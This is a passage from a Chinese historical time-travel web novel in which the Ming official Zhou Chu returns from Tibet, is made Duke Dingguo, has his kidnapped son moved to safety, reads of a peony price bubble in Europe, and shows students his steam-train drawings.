这话倒是也有道理,虽说这孩子身份特殊,但无论是在陆万山眼里,亦或是嘉靖眼中,这都是周楚庶出的孩子,真要论身份,和周楚将来的嫡子是没法比的。 锦衣卫能派出人在方府暗中值守一年,已经是难能可贵了,毕竟方鸿区区一个锦衣卫千户,如此浪费官方资源,肯定会引起许多锦衣卫的不满。 毕竟方恒是周楚的孩子这个消息,只有极少数的锦衣卫才知道,大部分锦衣卫是不知道的。 “查!派出所有锦衣卫,还有顺天府的人,将京城附近查个底朝天,也要把这个孩子找出来!” 嘉靖看着黄锦,高声道。 黄锦听到这话,不敢怠慢,一路小跑出了御书房。 嘉靖坐在椅子上,揉了揉脑袋,他甚至不敢想,当周楚回到京城之后,得知自己的孩子被人劫走了,该是一副什么样的表情,又该对自己这个皇帝如何失望。 毕竟当初周楚入藏,可是将大后方交给了自己,虽然周楚什么都没说,但嘉靖很清楚,周衡器相信自己能为其解决一切后顾之忧,正是因此,周楚进藏一去就是两年。 嘉靖承认自己还是太低估了某些人的疯狂程度,或者说嘉靖虽然聪慧,但从未想过人与人之间的斗争能用到这般低劣的手段。 毕竟嘉靖也才不到二十岁,对人性的恶还没有充足的认知。 陆炳此时根本不在皇宫之中,他得到这个消息之后,第一时间就带着锦衣卫去查找方恒的下落了。 如今的嘉靖,可不是刚刚登基的嘉靖,如今嘉靖彻底掌控了京城,掌控了锦衣卫和京城大大小小的基本面。 嘉靖一旦发怒,锦衣卫倾巢而出的情况下,再加上京城的荣门弟子作为锦衣卫的暗桩,查出方恒的下落仅仅用了不到一天的时间。 当陆炳在京城以西的乡下一个农户的房间之中看到方恒的时候,直接将他抱在怀里。 此时的方恒似乎意识不到发生了什么,看着眼前的这么多人,并没有过多害怕的情绪,满眼都是好奇。 至于那些抓了方恒的死士,早在锦衣卫将这个村子包围的时候,就纷纷服毒自杀了。 陆炳看着这些人的面容,发现全都是生面孔,顿时皱起了眉头。 “把他们全都带回去,将他们的身份彻底查清!” 陆炳看着身旁的锦衣卫,说道。 随后陆炳看着怀中的方恒,看到方恒并没有过多害怕的情绪,顿时有些好奇。 “小家伙,你怎么不害怕呀?” 陆炳忍不住问道。 “我怕什么?” 方恒奶声奶气道。 在方恒眼中,那些将他带到这里的人并不是服毒自杀了,而是躺下睡着了。 “是个爷们。” 陆炳冲着方恒竖起了大拇指道。 另外一边,汪明月一脸的心有余悸,她没想到皇帝的雷霆之怒如此恐怖,说白了她不过是一个女人罢了,而且是理论知识很足,但实际操作基本没有的那种,她从未见识过皇帝的雷霆震怒,如今算是见识到了。 汪明月觉得自己之前的想法有些过于可笑了,在绝对的实力面前,这些阴谋诡计脆弱的像一张纸,一捅就破。 不过汪明月并不担心锦衣卫通过那些死士查到自己,那些死士原本都是那些被查办官员家的孩子,当初被流放的时候,很多都只有七八岁,最多九岁左右。 经过这些年的成长,汪明月特意挑选了一批长相变化极大的,而且身上没有明显特征的,即便是锦衣卫,也无法根据这些死士查到她。 汪明月此时才反应过来,夏言为官多年,不可能不明白这个道理,那这位夏大人为何还让自己如此胡来?尛說Φ紋網 汪明月想了半天也想不明白,最终只能归结于夏言实在是没了办法,想通过自己试一试这个方法是否可行。 毕竟这么下去的话,无论是夏言,亦或是江南一系残留的那些官员,都只会被一步步蚕食,最终夏言的仕途将再无希望,成为内阁之中的一个摆设。 这显然不是这位野心勃勃的夏大人想要看到的。 不过无论是出于什么原因,汪明月都清楚,自己决不能再去见夏言了,夏言现在脑子里想的恐怕只有一件事,那就是将自己灭口。 汪明月很自信锦衣卫查不到自己,但汪明月同样清楚,这位夏大人不敢赌,哪怕有一丝可能,他也要把自己这个威胁掐死。 想明白这些的汪明月明白汪家自己是不能回了,只要自己不在汪家,汪家就是安全的,毕竟这位夏大人这个敏感的时期如果有什么异常举动,或者汪家突然被灭门了,那么一定会引起锦衣卫和皇帝的注意。 夏言不可能给自己增加破绽。 汪明月想明白这些,直接骑着马直奔南方而去了。 她很清楚,只要最近一两年,锦衣卫查不出自己,自己同样可以证明自己的价值,到时候再去找夏言,夏言一样会重用自己。 对于夏言想对自己下手,汪明月并不会记恨,对汪明月而言,这是聪明人的选择,倘若夏言不想这么做,自己倒也没必要替他做事。 汪明月已经打定了主意,等到一年多以后,自己再返回京城,到时候自己也安全了,正好夏言口中的那个徐子升也丁忧结束了。 到了那个时候,才是自己大展拳脚的时候。 周楚率玄武军回京,嘉靖提前率百官前往京城西门迎接周楚。 周楚这两年在藏区做的那些事,早就选择性的传回了朝堂,朝中的文武百官自然知道这个锦衣卫指挥使为大明立下了多么大的功劳。 彻底收复藏区,对大明而言一直都是个奢求,周楚不但彻底收复了藏区,还将大明北方的蒙古人彻底打熄火了,至此,大明二三十年内再无北患。 这等丰功伟绩,单单是一条,就足够一个人光宗耀祖了,但周楚却全都做到了,最让人感到不能理解的是,这位锦衣卫指挥使如今满打满算也才二十左右。 这让所有人都想起了同一个历史人物。 冠军侯霍去病。 “臣周楚拜见陛下。” 周楚远远的看到嘉靖率领百官来迎,当即下马步行,一步步走到嘉靖面前,行礼道。 第331章 周楚封国公,左柱国 “臣周楚拜见陛下。” 周楚躬身行礼道。 嘉靖当即用双手扶住周楚的胳膊。 “不必多礼,你这一去两年,为我大明立下了汗马功劳,有明一朝,我大明对西藏从未像今日这般实际统治,朕能有你这样的能臣,贤臣,实乃三生有幸。” 在百官面前,嘉靖自然要做足姿态。 “全赖陛下信任,否则臣什么也做不成。” 周楚说道。 “随朕进京吧,朕要好好封赏你这个大功臣。” 嘉靖说完这话,抓着周楚的右手就不撒开了,眼看着嘉靖就要带着周楚上天子銮驾,周楚急忙行礼。 “陛下,这是天子銮驾,不是臣可以僭越的。” 嘉靖听到这话,看了看周楚。 “就凭你做的这些事,坐一坐这天子銮驾又如何?” “陛下,君是君,臣是臣,臣只是陛下手里的一把剑,臣能立下什么功劳,全看陛下手执我这把剑挥向何方,臣哪有什么功劳,都是陛下的功劳。”尛說Φ紋網 周楚躬身道。 嘉靖听到这话,显得有些无奈。 “既如此,你便骑着马,跟在朕后面吧。” 嘉靖说着登上了天子銮驾,周楚骑着乌骓马跟在天子銮驾后面,文武百官则跟在周楚后方。 众人浩浩荡荡回到了朝堂之上。 “衡器,你此去两年,劳苦功高,不止为我大明彻底解决了蒙古人的北患,还为我大明将西藏彻底收复,这些功劳每一件单拿出来说都是足以封侯,甚至封国公的。” 嘉靖说完这话顿了顿,看了看周楚和文武百官的反应。 周楚听到这话,一副受宠若惊的模样,文武百官则表情不一。 “陛下,臣能做到这些,全靠陛下信任,将士用命,臣实在不敢居什么功劳。” 周楚行礼道。 “你这话就过于自谦了,那玄武军是你一手选人训练出来的,那玄武军的统领陆云瑾,也是你一手教出来的,宣陆云瑾上殿。” 嘉靖说完这话,高声道。 嘉靖打算趁着这个日子,彻底公开玄武军和陆云瑾的身份,毕竟玄武军是大明的正规军,之前一直隐藏着,是为了平定江南一系,如今江南一系土崩瓦解,大明国富民丰,甚至还重建了西域都护府,彻底收复了西藏。 这些功绩,在嘉靖登基之前,是想都不敢想的。 玄武军自然也没必要一直藏着掖着了,是时候让他们享有他们该有的荣耀和功劳了。 “臣陆云瑾拜见陛下。” 云瑾穿着一身盔甲,来到大殿之上,行礼道。 “好!好!好!” 嘉靖看到云瑾,连说了三个好字。 文武百官看到上殿的将军居然是个女人,也都傻眼了,他们之中很多人并不清楚云瑾的身份,急忙低声询问同僚,得知云瑾是陆家的小女儿之后,一个个更是惊讶异常。 陆家这是要彻底崛起了。 “朕听说过花木兰的故事,但那只是故事,你却是真正的巾帼不让须眉,这些年你带领着玄武军为大明南征北战,海上荡平倭寇,北击蒙古人,平定西藏,朕封你为镇远大将军,你可有异议?” 嘉靖看着云瑾问道。 嘉靖这么封赏是很有讲究的。 按理来说,云瑾立下的军功足以封侯了,但收复安南的军功被陆炳领了,自然不能再归于云瑾了,而且陆家已经有一个人封侯,再给云瑾封侯,恐怕陆家会不得安生。 其次云瑾立下的这些功劳,其实背后都是周楚这位锦衣卫指挥使,嘉靖是想给周楚封国公的,既然如此,那么云瑾就不能再凭借这些军功封侯了。 “臣多谢陛下恩赐,臣这些功劳,全赖周大人栽培,臣不过是在周大人手下听他的命令行事罢了,不值得陛下如此封赏。” 陆云瑾躬身道。 “朕没给你封侯,已经是考虑到这些了,这镇远大将军,你可一定要收着。” 嘉靖看着云瑾,笑道。 “臣多谢陛下。” 云瑾听到这话,不再反驳,直接接受了嘉靖的封赏。 “随后大将军铠甲,还有其他的一些东西,朕会让人送到你家中,你且下去吧。” 嘉靖挥了挥手道。 云瑾离开之后,嘉靖看向了周楚。 “周衡器,为大明立下不世功勋,即日起,册封周衡器为定国公,食邑五千户,封地定为太原,封周衡器为左柱国,进光禄大夫。” 嘉靖高声道。 此言一出,满朝文武尽皆哗然,要知道大明已经多少年没有正儿八经的封过国公了,当然,像已经死去的太后的弟弟被封的国公是不算的,那种国公也只有个名誉,没有什么权力。 更不用说周楚还被封为左柱国,进光禄大夫。 这让所有人想到了一个人,洪武一朝的魏国公徐达。 当然,徐达一生被封的官职要比现在的周楚多得多,但此时的周楚才二十岁,这才是最恐怖的。 一想到这些,很多人就感觉如鲠在喉,想要反驳,却又找不出什么反驳的理由。 毕竟以周楚的军功,还有之前为大明做下的那些事而言,这些封赏并不算太过,甚至只能说是中规中矩。 但被封赏的人是周楚,这就让很多人如芒在背了。 “陛下,这封赏太过了,臣实在是受不得。” 周楚行礼道。 “一点都不过,如果按照朕的意思,给你再多的封赏都不为过,不过你毕竟还年轻,以后的路还长,朕想了许久,就只给你这些封赏,你也不要埋怨朕。” 嘉靖有些无奈道。 如果按照嘉靖最初的想法,他恨不得将所有能封赏的都给周楚封赏了,像什么太傅,参军国事。 不过考虑到如今的周楚已经站在了风口浪尖上,嘉靖减了又减,最终定下了如今的封赏。 定国公、进光禄大夫、左柱国,这三样要是少了哪一样,嘉靖都觉得心里不得劲。 “臣多谢陛下恩赐。” 嘉靖都把话说到这个份上了,周楚实在不知道该如何拒绝了,只能受着。 将该给的封赏给完之后,嘉靖挥手示意众人退朝。 “衡器,这次你可是为我大明立下了不世功勋了。” 退朝的路上,杨慎看着眼前变黑变壮了不少的周楚,有些感慨道。 在西藏两年,不只是周楚变黑了不少,就连云瑾的肤色都变成了小麦色。 “全靠陛下,陛下胸怀广阔,心中装着天下,没有陛下的信任和放权,我又能做成什么呢?” 周楚笑道。 “这话就过于自谦了,陛下当然是圣主明君,但明君也需要名臣辅佐,你就是陛下手里的名臣名将。” 一旁的杨一清跟了上来,笑道。 “首辅大人谬赞了,下官实在是愧不敢当。” 周楚摆了摆手道。 几人一路有说有笑的离开了皇宫。 周楚刚回到周府,就看到了陆万山满脸忐忑地等在自家门口,顿时一脸疑惑。 “有事?” 周楚看着陆万山,问道。 陆万山听到这话,扑通一下跪倒在了周楚面前,随后抡圆了开始抽自己的大嘴巴子,很快就把自己的脸抽肿了。 “属下该死,属下不该将方府值守的锦衣卫抽调走,这才让方家小公子被歹人掳走,多亏了陛下雷霆之怒,这才有惊无险的将小公子找了回来。” 陆万山一脸懊恼道。 周楚听到这话,一时之间有些恍惚,自己这一去两年,居然有儿子了,如今儿子恐怕已经两岁了。 听陆万山这话,似乎前段时间,自己的儿子出事了? “进来说话。” 周楚说着进入自己家中,陆万山恨不得一路跪着爬进去,直到被周楚提溜了起来,这才耷拉着脑袋跟在周楚后面,完全不敢抬头。 “说说吧,怎么回事?” 周楚带着陆万山来到正厅,从春兰手中接过茶杯,喝了口茶道。 陆万山当即跪倒在周楚面前,一五一十的将之前发生的事说了一遍。 “这事倒也怪不得你,那方鸿如今也只是个千户,倘若一直派人值守,下面的人也会有意见,方恒也没什么事,起来吧。” 周楚看着陆万山这惨状,也不忍心再罚他什么了。 陆万山的做法没什么问题,能让人在方府值守一年多,已经算是尽心尽力了。 最重要的是,方恒没事,只要人没事,对周楚而言就不是什么大问题。 “这件事是谁做的?查到了吗?” 周楚瞥了一眼陆万山,问道。 “属下无能,那些动手的全都是死士,一个个都是生面孔,身份也是户部的一个官员临时改的,但那个官员在事发之前就死在家中了。” 陆万山说这话的时候,汗流浃背。 周楚听到这话,用食指不断地敲击着自己坐的椅子的扶手,那一声声的敲击声,如同梦魇一般,不断地敲击在陆万山的心头上,让陆万山感到心惊肉跳。 实际上周楚并没有考虑如何处罚陆万山,而是在脑海之中一个个过滤,两年和自己不对付的都有什么人。 周楚进藏两年,经历的人和事太多了,以至于两年前的记忆都显得有些久远了。 “那个女人,叫什么来着?两年前在云桂坊认识的。” 周楚看向一旁的沈炼,有些疑惑道。 沈炼听到这话,也是想了半天。 “汪明月,汪家的千金。” 沈炼回答道。 “查一查这个汪明月,最近有什么动向。” 周楚看向陆万山,说道。 陆万山听到这话,如蒙大赦。 “属下这就去查。” 陆万山说完这话,急忙离开了周府。 “大人觉得此事会是这个女人做的?” 沈炼问道。 “只是有这个可能,与我为敌的,多半都是官场之人,这些人做事还是讲究章法的,但这个女人有些疯癫,倒是她有可能做出这种事,不过就算是她做的,也不可能只是她一个人,背后恐怕另有其人。” 周楚想起了陆万山说的,户部有人帮这些死士更换身份。 不过目前为止,这些都只是周楚的猜测,是谁做的,恐怕找不到什么证据了,不过这件事倒是给自己敲响了一个警钟。 有些人为了对付自己,已经丧心病狂了,自己挡了太多人的路。 方恒的身份既然已经不是什么秘密了,那自己就要好好保护好这个孩子。 想到这里,周楚再也按耐不住想要见一见自己这个儿子的心情了。 “备上一份厚礼,随我去方府。” 周楚看向一旁的春兰道。 春兰听到这话,急忙去准备东西。 “取一份龙涎香,放在里面。” 周楚看着春兰离去的背影,特意吩咐道。 很快,周楚带着春兰、沈炼还有大柱来到了方府。 自从方府出了事之后,方鸿就被准许休沐,这些天一直在家盯着,生怕再出什么事。 “属下拜见大人。” 方鸿看到周楚,顿时满脸的惊喜,周楚回京,也就意味着她再也不用担惊受怕了。 “之前的事我听陆万山说了,让你和沈青受到了惊吓。” 周楚看着方鸿,说道。 方鸿听到这话,原本这些天累积的很多情绪,委屈茫然,瞬间憋不住了,眼泪流了下来。 “属下没能保护好她们母子,罪该万死!” 方鸿低声道。 “不怪你,只有千日做贼,哪有千日防贼的,方恒这不是没事嘛。” 周楚说完这话,冲着春兰摆了摆手。 第332章 周楚对方恒的安排,牡丹火爆欧洲 周楚来到这个世界这么多年,包括上一世,第一次有了自己的孩子,看着眼前的方恒,周楚百感交集。 自己这一去西藏两年,现在这孩子已经两岁了。 “恒儿,这是周叔父,叫人。” 沈青看着身旁的方恒说道。 “叔父。” 方恒来到周楚面前,乖巧道。 周楚双手伸向方恒。 “来让叔父抱抱。” 方恒听到这话,先是看了看沈青,见沈青点头了,这才来到周楚面前。 周楚用双手将方恒抱在怀中,顿时感觉沉甸甸的,周楚练武多年,方恒不过是个小孩,周楚的这种感觉,多半是来自心里。 “之前的事我听陆万山说了,苦了你了。” 周楚来到沈青面前,笑道。 “都是我不好,以前为了防止发生这种事,倒是让人修建了一个密室,但密室挡不住那些人,早知道就应该修个密道了。” 沈青神情有些低落道。 周楚将怀中的方恒递到了方鸿怀里,方鸿抱着方恒去了隔壁院子。 “这怎么能怪你呢,你又没经历过这种事,以前经历过的最厉害的也不过是后宅的一些琐事,料想不到也是正常的,不过这件事倒是给我提了个醒,这孩子的身份已经不是秘密了,得给他换个生长环境。” 周楚看着沈青说道。 沈青听到这话,看着眼前的周楚。 “衡器,你说吧,为了你和孩子,让我去哪里我都愿意。” 周楚听到这话,明白沈青误会了自己的意思,有些无奈的摇了摇头。 “倒也不用走得太远,京城外有个村子,我的那些学生都在那里,整个村子我早就布置好了,不会有任何危险,也有专门的人值守,最重要的是,要让这孩子忘记自己的身份,不然他很容易长歪,以后你们一家三口就是那个村子里的住户,只有这样,既能保证他的安全,也能让他有个平和的生长环境。” 周楚将自己的想法说了出来。 沈青听到这话,眼睛顿时一亮。 原本这个小家伙虽然明面上只是方鸿和自己的儿子,但还是德清公主的干孙子,这样的身份,再加上周楚儿子这一层身份,方鸿根本就不知道该怎么管他,甚至重话都不敢说一句。 虽然这两年这孩子没长歪,但沈青清楚,在这样的环境之中,变成纨绔子弟是迟早的事,这绝不是沈青想要看到的。 “全都听你的。” 沈青低眉顺目道。 周楚听到这话,点了点头。 周楚在方家吃了午饭,这才在沈青恋恋不舍的目光之中离开了方府。 周楚离开之后,方府很快就发生了变化,方鸿和沈青以及方恒很快就把一些必要的细软收拾妥当,坐上锦衣卫为他们准备好的马车离开了京城。 周楚回到自己家的时候,陆万山早已等候许久了,原本他查到结果之后,想着第一时间去找周楚汇报的,但一听说周楚在方府,就没敢去打扰。 “有结果了?” 周楚瞥了一眼陆万山,说道。 “大人真是料事如神,这个汪明月有问题,有大问题,她不见了,正是在我们找到小公子的那天不见的。” 陆万山神情恭敬道。 周楚听到这话,点了点头,对于这个结果并不意外。 汪明月既然动手了,一旦事发,她肯定会消失不见,无论是被她背后的人处理了,还是为了避祸,她都不可能在京城逗留。 “大人,汪家的人还在,我们要不要......” 陆万山欲言又止道。 周楚听到这话摇了摇头。 “不必,那汪明月冷心冷肺,是个疯子,即便是汪家的人都死光了,她也不会在乎,倒不如把汪家当成鱼饵,她迟早要回来的。” 虽然和汪明月见的次数不多,但周楚已经摸清了她的性格。 根据之前锦衣卫的调查,在汪家,汪明月的父亲汪拢什么话都是听她的,汪明月似乎从未在乎过这个名义上的父亲。 最重要的是,现在周楚没办法确定汪明月是死是活,对汪家动手没什么意义,不如留着汪家作为一个饵窝,汪明月如果活着,迟早要回来的。 这个女人是疯的,她根本不怕死,她只是怕这么不明不白的死了,什么事都没做成。 周楚明白,只要汪明月还活着,她迟早要回京城,继续跟自己对着干的。 至于这个女人背后的人,周楚现在还不能确定,因为和自己有仇,恨不得自己去死的人太多了,多到周楚都记不过来。 而且朝堂上的政治斗争,从来都是你死我活,别看有些人明面上对自己态度很好,但很可能暗地里使绊子。 这种拙劣的手段,让周楚不太确定是夏言做的,还是其他人做的,想要嫁祸给夏言以及他身后的那些人。 周楚一直都很清楚,京城之中,还有很多原本江南一系的官员,如今都极其低调。 倘若是夏言做的,他应该就是想要靠着这件事挑拨自己和其他官员,主要是杨一清之间的关系。 毕竟杨一清作为内阁首辅,虽然看似躺平了,但做官做到了这个地步,自己这两年又不在京城,杨一清的内心难免滋生出其他想法。 如果是杨一清做的,那就是想要趁机激化自己和夏言这些人之间的矛盾。 周楚想了许久,没什么头绪,主要是目前所有的证据都没办法证明这件事是谁做的。wWW.xszWω㈧.йêt 有时候越是拙劣的手段,反而越是让人看不清楚。 不过周楚已经不想费心思想这些了,注定想不清楚的事,多想无益。 周楚看着眼前的这些奏疏,这些都是之前周楚去方府的时候,嘉靖让人送来的,这些奏疏基本都是齐良或者林廌和来自弗朗机的奏疏。 周楚随意拿起一份奏疏,开始看了起来。 两年时间累积的奏疏很多,周楚看了近一个时辰,才将这些奏疏看完。 东瀛那边已经彻底稳定,东瀛的那些大名倒是尝试攻打过汪直几次,都被汪直打了回去,在汪直再次打下了两座岛屿之后,东瀛的其他大名彻底老实了,他们意识到自己和明军之间的实力存在着巨大的鸿沟,根本不可能以武力将其战胜。 于是这些大名非常识时务的开始对汪直和大明称臣纳贡,并且开始和汪直开启了贸易往来,至于货物的价格,则是由汪直一个人说了算。 当然,这些价格,周楚早就定好了,倘若竭泽而渔的话,用不了多久,底层的东瀛人就都活不下去了,也就没人为大明输出生产价值了,这不是周楚想要看到的。 这两年时间,林廌和齐良轮流去东瀛值守,汪直一直很守规矩,该做的事做,不该做的事从来不做,在汪直心中,他一直都是在为大明做事,他一直等着朝廷给他封侯拜将,光宗耀祖。 在大明沿海作为流寇,无身份人员流窜了数年,汪直对封侯拜将几乎已经有了执念,他要功成名就之后返回家乡,那个他做梦都想回去的地方。 至于弗朗机那边的奏疏,更多一些,弗朗机那边的发展状况有些戏剧化,当初这些人出海前往弗朗机的时候,周楚想起了上一世荷兰的郁金香事件,于是就提出了让船队带一些大明名贵的花卉过去,主要是牡丹。 郁金香产自中亚,想要把郁金香从中亚运到欧洲,费时费力不说,也完全没必要。 周楚很清楚,郁金香完全是被炒作起来的,当时的荷兰甚至整个欧洲的上流社会,都以拥有一支郁金香为荣,那些王室的王子都十分追捧郁金香。 这也就导致了十分滑稽的一面,很多人凑钱一起买一支郁金香,甚至为郁金香分了股份,一支郁金香,每个人占股多少。 可想而知,当时郁金香的价格被炒作到一个多么离谱的地步。 这件事让周楚看到了割欧洲这些国家韭菜的机会,这些靠海盗抢劫刚开始发家的白人,一个个一身海盗气质,他们的上层为了掩盖自己的海盗气质,自然就会追求一些虚无缥缈的东西。 当大明的使臣告诉弗朗机王室,在大明,牡丹花代表着尊贵,代表着优雅的时候,弗朗机的王室弟子几乎人人都从大明的商船那里买了一株牡丹花,并且精心培养。 他们买的牡丹花价格并不算特别贵,换算成白银也就二十两银子左右一盆。 虽说比在大明要贵不知道多少,但这些牡丹花可是漂洋过海,才到了欧洲,这个价格可以说是很良心了。 然而事情接下来就开始百年的魔幻了起来,那些弗朗机的王室弟子在大明商人的怂恿之下,有人开始将牡丹花摘下来戴在头上,那么一朵硕大的牡丹花戴在王妃或者公主的头顶,确实显得雍容华贵。 为此,这些大明的商人和弗朗机人还一直在研究怎么让牡丹花在他们头上保持新鲜不败。 这股风气一起,弗朗机的高层纷纷跟风,向大明的商人购买牡丹花,牡丹花的价格也由原本的二十两一盆,暴涨到一百两一盆。 一百两一盆还只是开始,远不是结束,到后面因为来自大明牡丹花的稀缺性,价格持续暴涨,追捧牡丹花的热潮开始从弗朗机逐渐蔓延到整个欧洲。 隔壁的软木王国,以及法兰西王国,甚至海峡对岸的英格兰王国的王室,都开始疯狂追捧来自大明的牡丹花,大明在弗朗机的宣传下,在所有欧洲人眼中成了神秘富有且强大的存在。 牡丹花在大明代表着尊贵,代表着华贵,这让这些欧洲的贵族老爷们,一个个刚抢了不少钱,气质跟不上的,瞬间找到了花钱的地方。 于是来自大明的牡丹花愈发的供不应求,一些名贵的品种价格甚至能达到八百两白银同等价值一株的天价。 至此,牡丹花在欧洲的价格也就达到了巅峰随后的这两个月的时间,牡丹花的价格一直居高不下,将整个欧洲的财物源源不断的赚取到了大明。 当然,欧洲的这些人眼看着自己国家的钱财流向大明,也不是傻子,也想着从大明的船队手中抢过来,结果一抢一个不吱声。 此时他们才明白,为何弗朗机作为欧洲最强大的国家,还要如此吹捧大明,想来是早就被大明打服了。 周楚看着这些奏折,有些哭笑不得,当初关于牡丹花的事,自己也就是随口一提,没想到还真被大明的这些商人实现了。 不得不说,能出海到欧洲的商人,不但有魄力,还有着常人不能企及的头脑。 不过周楚清楚,牡丹花的价格迟早是要暴跌的,不过这又关周楚和大明什么事呢,大明靠着牡丹花在这一年的时间里赚取了足够的钱财,将欧洲那些王室的钱财收割一波,这就够了。 原本郁金香的价格达到顶峰之后,很快就迎来了暴跌,牡丹花的价格达到巅峰已经有两个月了,想来应该离暴跌不远了。 不过这些都只是插曲,大明要从欧洲持续的赚钱,光靠这种投机的手段肯定是行不通的,以后就要靠正常的商业手段了。 周楚看完这些奏折之后,让原本在周府等着的太监将奏疏带回了宫中。 这些奏疏原本就是嘉靖让周楚看了,迅速了解东瀛和欧洲局势的。 “老师,您终于回来了!” 周楚正要吃晚饭,看到了海瑞以及杨盛斋等人联袂而来。 海瑞等人之所以知道周楚回来,是因为见到了两年没见的胡宗宪等人。 如今的胡宗宪、赵贞吉和朱显榕等人,一个个又黑又高,经过这两年在玄武军之中的磨砺,他们几人的战力已经完全不输任何一个玄武军士兵了。 几人对于兵法的运用更是出神入化,当初在西藏的时候,周楚经常分兵,让他们几人带兵去剿灭当地的地主贵族势力。 西藏的喇嘛兵战斗力远不是一般的明军能比的,这些人信仰坚定,悍不畏死,如果不是玄武军和周楚,其他部队进藏的话,恐怕很难出去了。 “你们吃饭了吗?” 周楚看着海瑞几人急匆匆的模样,问道。 “没呢。” 海瑞听到这话,先是一愣,随后下意识的回答道。 “那就随我一起先吃饭吧,其他事吃完饭再说。” 周楚说完这话,看向了春兰。 “多加几个菜。” 第333章 火车的设想,海瑞等人的震撼,林鹿来访 海瑞和杨盛斋等人在京城外的的村子里,每日需要耕作,持续了两年时间,每天吃的也都是粗茶淡饭,现在在周府看到这么丰盛的饭菜,一个个吃的见牙不见眼。 “老师,你家的饭菜也太好吃了,比我们家的好吃多了。” 杨盛斋一边吃着,一边夸赞着。 “你们是很久没吃到好的了,所以才会觉得好吃。” 周楚此时已经吃的差不多了,一边喝茶,一边看着几人吃饭,笑道。 “真不是,我也偶尔回家吃顿好的,但我家的饭菜和老师家里的差远了,怪不得老师当初能开醉仙楼呢。” 杨盛斋一边吃一边嘟囔道。 对于杨盛斋的这话,周楚倒是没有反驳,这京城之中,单论吃的,能比的上周府的可以说几乎没有。 很快,几人吃饱喝足,海瑞满脸热忱地看着周楚。 “老师,我们已经把蒸汽机研究出来了。” 周楚听到这话,有些意外,不过想想倒也在预料之中。 毕竟自己已经给出了具体的方向,还有南镇抚司的工匠们在一旁辅助,以海瑞和杨盛斋对格物学的狂热追求,研发出来蒸汽机倒也在情理之中。 不得不说,十几岁正是一个人脑子的巅峰时期,学东西快,接受新事物的能力强,创造力也强。 而他们的弱点正是执行力,这一点那些工匠们完美的给他们弥补了。 “你带几个人去把他们做出来的蒸汽机带过来。” 周楚看向一旁的沈炼,说道。 沈炼听到这话,没有二话,直接点了几个人,直奔京城外而去。 “老师,学生还是不太明白,这蒸汽机具体该如何运用?” 海瑞看着周楚,满脸求知欲道。 周楚听到这话,并没有答话,而是转身去了自己的书房。 海瑞和杨盛斋等人急忙跟了过去。 来到书房之中,周楚从书架上取出自己早就画好的关于火车的图纸。 当然,周楚对火车的具体构造并不了解,画的很粗糙,甚至很多地方都是错误的。 不过这并不重要,重要的事,周楚可以靠着这张图纸给海瑞等人一个具体的方向,具体如何实现,如何传动,那就是海瑞等人和南镇抚司的那些个工匠需要解决的问题了。 “关于蒸汽机的运用,我早就想过,这是我根据蒸汽机设计出来的一个运输工具,我管它叫火车。” 周楚说着将图纸在桌案上铺开。 海瑞等人急忙围了过去。 “这个图纸只是我的初步设想,很多地方估计都是不对的,力如何传动,如何转换能量,这些细节之处还需要你们好好打磨,具体的器型造具,你们还要多和那些工匠们沟通,北镇抚司的这些工匠,之前肯定打造过类似的传送装置。” 周楚指了指图纸,说道。 海瑞等人看着图纸上那怪模怪样的东西,又看到了周楚画出的蒸汽机的位置,以及这个钢铁车厢下面的车轮,材质的标注居然也是钢铁,这让众人有些不解。 “老师,这钢铁的轮子怎么跑的动?如果整个车体都是钢铁的,该有多沉,这样窄的轮胎,什么样的路面能承受得住?” 杨盛斋忍不住问道。 压力和压强的关系,在周楚给他们的基础物理之中早已阐述的很明确了,所以在他们眼中,这样的钢铁怪物,别说装东西了,就是空车都不知道有多重,图纸上火车的车轮和地面的接触面却是很窄,甚至中间还有凹槽,这是他们无论如何都理解不了的。 “这种钢铁巨物,想要在一般的路上跑是不可能的,要为它修建专门的路,我叫它铁轨。” 周楚说着拿出另外一张图纸,上面画的正是铁轨。 相对于火车的复杂,铁轨倒是简单的多,周楚倒是没画错。 “首先,在路面上垫上碎石,打好地基,然后铺上一排木板......” 周楚耐心地为海瑞等人讲解。 刚开始海瑞等人还有些不解,随着周楚的不断讲解,几人的眼睛越来越亮。 老师的脑子到底是什么做的?这等逆天的想法他是如何想出来的? 此时不只是海瑞,杨盛斋等人看完图纸之后,满脑子都是不可思议。 如此天马行空,却又可行性极高的方案,老师是怎么想出来的? 难道老师真的是生而知之之人不成? 一想到周楚也就比自己大不了几岁,几人顿时感到满心挫败。 “火车还需要你们来研发,我的事情太多,没什么时间,我也就能提供个想法,具体实施还得靠你们。” 周楚看到海瑞等人的表情后,完全不懂他们为何突然失落。 海瑞等人听到这话,纷纷抬起了头,满脸的狂热。 根据周楚方才的讲解,他们明白了一个道理,一旦铁轨铺遍整个大明,火车的运力将是极其恐怖的,马车无论是速度还是运力,都远远不能和其相提并论。 根据周楚的图纸,火车后面可以不断地加车厢,整个火车一旦动起来,匀速运动所需要的动能相对于整个火车的重力而言,小到几乎可以忽略。 因为火车一旦开起来之后,所需要的动力只需要解决车轮和铁轨之间的摩擦力,车厢越多,摩擦力越大。 不过根据车轮和铁轨的图纸,几人都很清楚,火车一旦开起来,摩擦力将会很小。 当然,这个小只是相对而言,相对于整个火车的重量。 “图纸你们拿走吧,铁轨的图纸无需改动,但火车的图纸有许多谬误之处,需要你们研究之后把它补全。” 周楚说着将两张图纸往前一推。 为首的海瑞和杨盛斋满脸兴奋的互相对视了一眼,随后两人小心翼翼地将两张图纸卷起来,对周楚躬身行礼。 “老师的指点让我等醍醐灌顶,我等一定不会辜负老师的期望,将火车研究出来。” 海瑞说道。 “村子里你们就不需要去了,以后直接去南镇抚司,那里要什么有什么,原本让你们在村子之中耕种,也是让你们体会百姓之心,现在应该也差不多了。” 周楚说道。 海瑞等人听到这话,脸色喜忧参半。 “老师,我想回村子一趟,和那些好友道个别。” 海瑞说道。 “老师,我等也想回去一趟。” 其他几人纷纷附和道。 他们毕竟在村子里生活了两年多,不说和村子里的每个人都很熟了,但也有不少好友,现在贸然离开,他们多少有些不舍。 他们早已习惯了这种日出而作日入而息的日子,这让他们感到无比的充实。 “去吧。” 周楚摆了摆手道。 海瑞等人离开之后没多久,沈炼带着人将蒸汽机用马车拉了回来。 周楚看着眼前的蒸汽机,虽然和自己印象中的蒸汽机器型有些许差别,但差别不大。 “没想到还真被他们给弄出来了。” 周楚一边说着,一边开始上手开始摆弄蒸汽机。 经过周楚的研究,发现这台蒸汽机的能量转换很不错,但具体结构估计还需要再改一下,最起码不是很适合运用在火车上。 